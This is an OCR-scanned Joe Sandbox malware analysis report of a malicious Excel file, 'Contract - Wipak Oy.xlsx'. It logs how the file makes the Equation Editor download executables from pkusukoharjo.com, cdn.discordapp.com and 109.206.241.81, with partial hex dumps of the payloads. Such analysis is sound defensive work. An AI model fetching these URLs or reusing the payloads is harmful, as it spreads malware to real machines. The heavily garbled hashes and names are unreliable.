TriD: e Excel Microsoft Office Open XML Format document (40004/1) 83.33%
e ZIP compressed archive (8000/1) 16.67%

File name: Contract - Wipak Oy.xIsx
File size: 2819080
MD5: d0cd467a481799f5dc06a498e24ff4ad
SHA1L: da919b490b8192eab7c577b4a85337d09eb56a9%¢e
SHA256: 831518fee7137eb607ad0fd8b629784dd692f981f6060465079945a13dba6ecidc
SHA512: deefc6c8b76de5f8cdled1f7541d136961d6f249al6abc4c6eac7114ac55facc3c0d3f5c5b581dabd18bb71468351bb28039d2ff533aaa634240e8587f0ac545
SSDEEP: 49152:4yFhEeXk7Vs407VhPiiwl76tK5fpiB+VKAT5HOTIDpZvIfp+INtIz:4uXmijhhPDwNgiBiBUTG 1Ix+IN3
TLSH: DCD53396C4F0AB688BE9F1585EEAF7840472FBAC1E1DF8496D054047C37AB19DF222D4E
File Content . WVS$.N...Tl..L....... K[".0.".+R..8...h..g\.
Preview: J,._ W\z.p..M..0.k....[.-X.../KUL....|2~ .Q+(."./ai.0
File Icon

W
Icon Hash: ede2aaBaadb4bcb4
Static OLE Info
General
Document Type: OpenXML
Number of OLE Files: 1

OLE File "/opt/package/joesandbox/database/analysis/679189/sample/Contract - Wipak Oy.xlsx"

Indicators

Has Summary Info:

Application Name:

Encrypted Document: False
Contains Word Document Stream:  False
Contains Workbook/Book Stream:  True

Contains PowerPoint Document False
Stream:

Contains Visio Document Stream: False

Contains ObjectPool Stream: False

Flash Objects Count: 0

Contains VBA Macros: False

Summary

Author: Marcus Egharevba
Last Saved By: Marcus Egharevba
Create Time: 2022-07-26T22:32:06Z
Last Saved Time: 2022-07-27T02:01:40Z
Creating Application: Microsoft Excel
Security: 0

Document Summary

Thumbnail Scaling Desired: false

Contains Dirty Links: false

Shared Document: false

Changed Hyperlinks: false

Application Version: 12.0000

Streams

Stream Path: \x10LE10nATiVE, File Type: data, Stream Size: 3008016
General

Stream Path: \x10LE10nATIVE
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General

File Type:

Stream Size:
Entropy:

Base64 Encoded:

Data ASCII:

Data Raw:

data
3008016

7.830311072494768

True
_...l...M&n5.+..1.5]..V..-"B...'"h.X.ces$0Au2V%_53Z(.,pyK*.Y{.v.,6T7<Yk..to"\..zS,("xNbRt.52ft
.$=J+bldu=]U..g=7.."G..*.7eF...Lk--.i.2N.Y..)X_<.4WIsHE,/=h..wig.j.cC”..d .:e6&l.%$y./...xc.c'.5
W{.-;U5%.59.Je6...j.5.m..(_FE.DWR78i.14\Q".1Y.wASm@ O.,zQC.NNo...].+

8e 5f d9 05 02 80 16 6¢ Oc 9b 01 08 4d ed b8 ff 26 6e c4 35 c3 9b 2b c4 8b 08 8b 31 bb e5 fb a3 19 81 eb 35 94 5d 19 8b 1b 56 ff d3 05 f8 81 Oa c3 2d
c5 f7 e9 c2 ff e0 fe bd 88 60 42 00 19 1e 60 c5 d8 68 14 58 17 85 63 b3 a7 80 d3 3 ca 65 €9 d3 73 f9 24 6f 41 75 32 56 25 5f €5 35 f5 94 a6 84 33 ba
a0 28 04 2c d1 70 79 a3 4b 2a ab 9b 1f ef 59 f5 7b cf 04 a8 e0 76 aa fd d6 81 2c 8b

Stream Path: vd4Gf9eRalg9Jol2jb8EGtk, File Type: empty, Stream Size: 0

General

Stream Path: vd4Gf9eRalg9Jol2jb8EGtk
File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

Aug 5, 2022 11:41:32.266644955 CEST
Aug 5, 2022 11:41:32.266717911 CEST
Aug 5, 2022 11:41:32.266779900 CEST
Aug 5, 2022 11:41:32.311975002 CEST
Aug 5, 2022 11:41:32.312050104 CEST
Aug 5, 2022 11:41:32.381227970 CEST
Aug 5, 2022 11:41:32.381334066 CEST
Aug 5, 2022 11:41:32.398665905 CEST
Aug 5, 2022 11:41:32.398714066 CEST
Aug 5, 2022 11:41:32.399238110 CEST
Aug 5, 2022 11:41:32.399341106 CEST
Aug 5, 2022 11:41:32.798109055 CEST
Aug 5, 2022 11:41:32.827157974 CEST
Aug 5, 2022 11:41:32.827245951 CEST
Aug 5, 2022 11:41:32.827311039 CEST

Copyright Joe Security LLC 2022

Total Packets: 43

® 53 (DNS)
® 443 (HTTPS)

Source Port
49171
443
49171
49171
443
443
49171
49171
443
443
49171
49171
443
443
49171

Dest Port
443
49171
443
443
49171
49171
443
443
49171
49171
443
443
49171
49171
443

Source IP
192.168.2.22
136.243.86.20
192.168.2.22
192.168.2.22
136.243.86.20
136.243.86.20
192.168.2.22
192.168.2.22
136.243.86.20
136.243.86.20
192.168.2.22
192.168.2.22
136.243.86.20
136.243.86.20
192.168.2.22

Dest IP
136.243.86.20
192.168.2.22
136.243.86.20
136.243.86.20
192.168.2.22
192.168.2.22
136.243.86.20
136.243.86.20
192.168.2.22
192.168.2.22
136.243.86.20
136.243.86.20
192.168.2.22
192.168.2.22
136.243.86.20
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 11:41:32.827317953 CEST 443 49171 136.243.86.20 192.168.2.22
Aug 5, 2022 11:41:32.827363968 CEST 443 49171 136.243.86.20 192.168.2.22
Aug 5, 2022 11:41:32.827392101 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.827405930 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.827415943 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.827429056 CEST 443 49171 136.243.86.20 192.168.2.22
Aug 5, 2022 11:41:32.827450037 CEST 443 49171 136.243.86.20 192.168.2.22
Aug 5, 2022 11:41:32.827483892 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.827498913 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.893266916 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.893310070 CEST 443 49171 136.243.86.20 192.168.2.22
Aug 5, 2022 11:41:32.893321037 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:32.893373966 CEST 49171 443 192.168.2.22 136.243.86.20
Aug 5, 2022 11:41:35.534665108 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:35.534696102 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:35.534765005 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:35.546125889 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:35.546150923 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:35.610106945 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:35.610213995 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:35.623195887 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:35.623214006 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:35.623613119 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:35.831306934 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.144934893 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.190440893 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.190653086 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.190764904 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.190830946 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.190875053 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191015959 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.191032887 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191138029 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191231012 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191318989 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191329956 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.191355944 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191559076 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.191577911 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191670895 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191760063 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191843033 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.191850901 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191874027 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.191955090 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.191977978 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192214966 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192300081 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192328930 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.192354918 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192461967 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192549944 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.192559958 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192580938 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192655087 CEST 49172 443 192.168.2.22 162.159.129.233
Aug 5, 2022 11:41:36.192713976 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192878962 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.192970037 CEST 443 49172 162.159.129.233 192.168.2.22
Aug 5, 2022 11:41:36.193048000 CEST 49172 443 192.168.2.22 162.159.129.233
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 11:41:36.193067074 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193212986 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193304062 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.193324089 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193495989 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193564892 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.193582058 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193702936 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193767071 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.193780899 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193897963 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.193990946 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.194010019 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194133043 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194205999 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.194224119 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194319010 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194386005 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.194402933 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194502115 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194567919 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.194585085 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194766998 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194833040 CEST 49172 443 192.168.2.22 162.159.129.233

Aug 5, 2022 11:41:36.194850922 CEST 443 49172 162.159.129.233 192.168.2.22

Aug 5, 2022 11:41:36.194998026 CEST 443 49172 162.159.129.233 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 11:41:32.226768017 CEST 55868 53 192.168.2.22 8.8.8.8

Aug 5, 2022 11:41:32.245600939 CEST 53 55868 8.8.8.8 192.168.2.22

Aug 5, 2022 11:41:35.477466106 CEST 49688 53 192.168.2.22 8.8.8.8

Aug 5, 2022 11:41:35.498608112 CEST 53 49688 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 5, 2022 11:41:32.226768017 CEST 192.168.2.22 8.8.8.8 Ox4e86 Standard query  pkusukohar A (IP address) IN (0x0001)
0) jo.com

Aug 5, 2022 11:41:35.477466106 CEST 192.168.2.22 8.8.8.8 Oxdd2e Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 5, 2022 8.8.8.8 192.168.2.22  0x4e86 No error (0) pkusukohar 136.243.86.20 A (IP address) IN

11:41:32.245600939 CEST jo.com (0x0001)

Aug 5, 2022 8.8.8.8 192.168.2.22 Oxdd2e No error (0) cdn.discor 162.159.129.233 A (IP address) IN

11:41:35.498608112 CEST dapp.com (0x0001)

Aug 5, 2022 8.8.8.8 192.168.2.22 Oxdd2e No error (0) cdn.discor 162.159.135.233 A (IP address) IN

11:41:35.498608112 CEST dapp.com (0x0001)

Aug 5, 2022 8.8.8.8 192.168.2.22 Oxdd2e No error (0) cdn.discor 162.159.130.233 A (IP address) IN

11:41:35.498608112 CEST dapp.com (0x0001)

Aug 5, 2022 8.8.8.8 192.168.2.22 Oxdd2e No error (0) cdn.discor 162.159.134.233 A (IP address) IN

11:41:35.498608112 CEST dapp.com (0x0001)

Aug 5, 2022 8.8.8.8 192.168.2.22 Oxdd2e No error (0) cdn.discor 162.159.133.233 A (IP address) IN

11:41:35.498608112 CEST dapp.com (0x0001)

HTTP Request Dependency Graph
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e pkusukoharjo.com

e cdn.discordapp.com

e 109.206.241.81

HTTP Packets
Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.22 49171 136.243.86.20 443 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Timestamp R Direction Data
transferred
Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.22 49172 162.159.129.233 443 C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaeb
vcnbnc.exe
kByt:
Timestamp yees Direction Data
transferred
Session ID Source IP Source Port Destination IP Destination Port Process
2 192.168.2.22 49173 109.206.241.81 80 C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgthggfrtreaeb
venbne.exe
kByt:
Timestamp yees Direction Data
transferred
Aug 5, 2022 115 ouT GET /htdocs/zTALg.exe HTTP/1.1
11:41:36.249592066 Host: 109.206.241.81
CEST Connection: Keep-Alive
Aug 5, 2022 116 IN HTTP/1.1 200 OK
11:41:36.279833078 Date: Fri, 05 Aug 2022 09:41:36 GMT
CEST Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29

Last-Modified: Sun, 31 Jul 2022 13:41:30 GMT

ETag: "34400-5e51a0a6efe70"

Accept-Ranges: bytes

Content-Length: 214016

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00
00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00
00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 Oa 2a 1e 02 28 04 00 00 Oa 2a a6 73 06 00 00 Oa 80 01 00 00 04 73 07 00
00 0a 80 02 00 00 04 73 08 00 00 Oa 80 03 00 00 04 73 09 00 00 Oa 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01
0000 11 16 Ob 2b 1b 00 07 17 fe 01 2c 02 18 Ob 00 07 16 fe 01 2c 02 17 Ob 00 07 18 fe 01 2¢ 02 2b 02 2b €3 7e 01 00 00
04 6f 0a 00 00 Oa 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 Ob 2b 1b 00 07 17 fe 01 2c 02 18 Ob 00 07 16 fe 01 2c 02 17
Ob 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f Ob 00 00 Oa 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 Ob 2b 1b
00 07 17 fe 01 2c 02 18 Ob 00 07 16 fe 01 2c 02 17 Ob 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f Oc 00 00 Oa 2a
1330 02 00 2c 00 00 00 04 00 00 11 16 Ob 2b 1b 00 07 17 fe 01 2c 02 18 Ob 00 07 16 fe 01 2c 02 17 Ob 00 07 18 fe 01 2¢
02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 Oa 2a 13 30 02 00 2e 00 00 00 05 00 00 11 16 Ob 2b 1b 00 07 17 fe 01 2c 02
18 0b 00 07 16 fe 01 2c 02 17 Ob 00 07 18 fe 01 2c 02 2b 02 2b €3 02 03 28 11 00 00 Oa 28 12 00 00 Oa 2a 00 00 13 30
02 00 28 00 00 00 06 00 00 11 16 Ob 2b 1b 00 07 17 fe 01 2c 02 18 Ob 00 07 16 fe 01 2c 02 17 Ob 00 07 18 fe 01 2c 02 2b
02 2b 3 02 28 13 00 00 0a 2a 13 30 02 00 2c 00 00 00 07 00 00 11 16 Ob 2b 1b 00 07 17 fe

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELTbh<[ @ @x[S" H.text; < ".rsrc’>@@.relocB@B[H(*(*
ssss*0,+,,,++~0*0,+,,,++~0*0,+,,,++~0*0, +,,,++~0*0.+,,,++((*O(+,,,++(*0,+
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HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.22
. kBytes

Ti t
imestamp transferred

2022-08-05 09:41:32 UTC 0

2022-08-05 09:41:32 UTC 0

2022-08-05 09:41:32 UTC 0

2022-08-05 09:41:32 UTC 8

Session ID Source IP

1 192.168.2.22
. kBytes

Tim m|
imestamp transferred

2022-08-05 09:41:36 UTC 9

2022-08-05 09:41:36 UTC 9

Copyright Joe Security LLC 2022

Source Port

49171

Direction

ouT

Source Port

49172

Direction

ouT

Destination IP Destination Process

Port
136.243.86.20 443 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Data

GET /giving/qGTGx.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: pkusukoharjo.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 05 Aug 2022 09:41:32 GMT

Server: Apache

Last-Modified: Sun, 31 Jul 2022 13:50:36 GMT
Accept-Ranges: bytes

Content-Length: 8704

Connection: close

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1b 88 e6 62 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
Ob 00 00 18 00 00 00 08 00 00 00 00 00 00 de 37 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb7 @@ @

Data Raw: 65 76 65 6¢ 20 6¢ 65 76 65 6¢ 3d 22 61 73 49 6e 76 6f 6b 65 72 22 20 75 69 41 63 63 65 73 73 3d 22 66 61 6¢
73 65 22 2f 3e 0d 0a 20 20 20 20 20 20 3c 2f 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6¢ 65 67 65 73 3e 0d Oa 20 20
2020 3c 2f 7365 63 75 72 69 74 79 3e 0d Oa 20 20 3c 2f 74 72 75 73 74 49 6e 66 6f 3e 0d Oa 3c 2f 61 73 73 65 6d 62 6¢
79 3e 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 Oc 00 00 00 e0 37 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: evel level="asInvoker" uiAccess="false"/>  </requestedPrivileges> </security> </trustinfo></assembly>07

Destination IP D esuaaton Process
Port
162.159.129.233 443 C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaeb

venbne.exe

Data

GET /attachments/1001850193580392480/1002961152617222144/seven.dll HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 05 Aug 2022 09:41:36 GMT

Content-Type: application/x-msdos-program

Content-Length: 87040

Connection: close

CF-Ray: 735e93f4e803917c-FRA

Accept-Ranges: bytes

Age: 413704

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=seven.dll, attachment

ETag: "2851da4de93a5c4b08e7da2826112280"

Expires: Sat, 05 Aug 2023 09:41:36 GMT

Last-Modified: Sat, 30 Jul 2022 15:29:32 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1659194972956420

X-goog-hash: crc32c=8mCulQ==

x-goog-hash: md5=KFHaTek6XEsI5900JhEigA==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 87040

X-GUploader-UploadID: ADPycds5b2CHJAt_kHBIbZKsfyHFbelkycGhR-EB4H_CNzfN58kbv3R3-Y3p7uBrmiWm
Mwfclgb2ghWSD94ralZVizOAeYJdb2ly

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\v3?s=89RelRTIqY MHUH6qWOR|rx86JhSs4wk T
1Qdn0V2a0ZgE%2FI|it6 XRToktZIxmD8M%2BNbzXPCDIqEkj93R%2FrfzgBCBAotKwJDiOBa9UGZALIIrBIt%2BR1v
fz78IxqlgQ1LPQNQg36eg%3D%3D"}],"group":"cf-nel","max_age":604800}
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kBytes

Timestamp transferred Direction
2022-08-05 09:41:36 UTC 10 IN
2022-08-05 09:41:36 UTC 10 IN
2022-08-05 09:41:36 UTC 11 IN
2022-08-05 09:41:36 UTC 13 IN
2022-08-05 09:41:36 UTC 14 IN
2022-08-05 09:41:36 UTC 15 IN
2022-08-05 09:41:36 UTC 17 IN
2022-08-05 09:41:36 UTC 18 IN
2022-08-05 09:41:36 UTC 19 IN
2022-08-05 09:41:36 UTC 21 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74
6f 22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20
63 6¢ 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01

4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 fa 4d e5 62 00 00 00 00 00 00 00 00 €0 00 02 21 Ob 01

Ob 00 00 22 01 00 00 30 00 00 00 00 00 00 5e 41 01 00 00 20 00 00 00 60 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 cO 01 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00

00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELMb!"0"A "@ *

Data Raw: ff 11 08 20 01 00 00 00 94 58 11 08 20 00 00 00 00 94 58 9e 00 11 08 20 03 00 00 00 20 d2 01 00 00 11 08 20
02 00 00 00 94 59 11 08 20 01 00 00 00 94 58 11 08 20 00 00 00 00 94 59 9e 00 fe Oc 17 00 11 08 20 03 00 00 00 94 5b
fe Oe 16 00 fe Oc 16 00 20 6¢ f5 1c 00 59 38 b6 fe ff ff 7e 2b 00 00 04 fe 0d 07 00 28 7d 00 00 Oa fe Oc 07 00 6f 7e 00 00
0Oa fe Oc 09 00 fe Oe 2a 00 20 05 00 00 00 8d 59 00 00 01 13 08 11 08 20 00 00 00 00 20 30 01 00 00 9e 00 11 08 20 01
00 00 00 20 43 02 00 00 11 08 20 00 00 00 00 94 59 9e 00 11 08 20 02 00 00 00 20 37 03 00 00 11 08 20 01 00 00 00 94
59 11 08 20 00 00 00 00 94 59 9e 00 11 08 20 03 00 00 00 20 dO 00 00 00 11 08 20 02 00 00 00 94 58 11 08 20 01 00 00
0094 59 11 08 20 00 00 00 00 94 58 9e 00 11 08 20 04 00 00 00 20

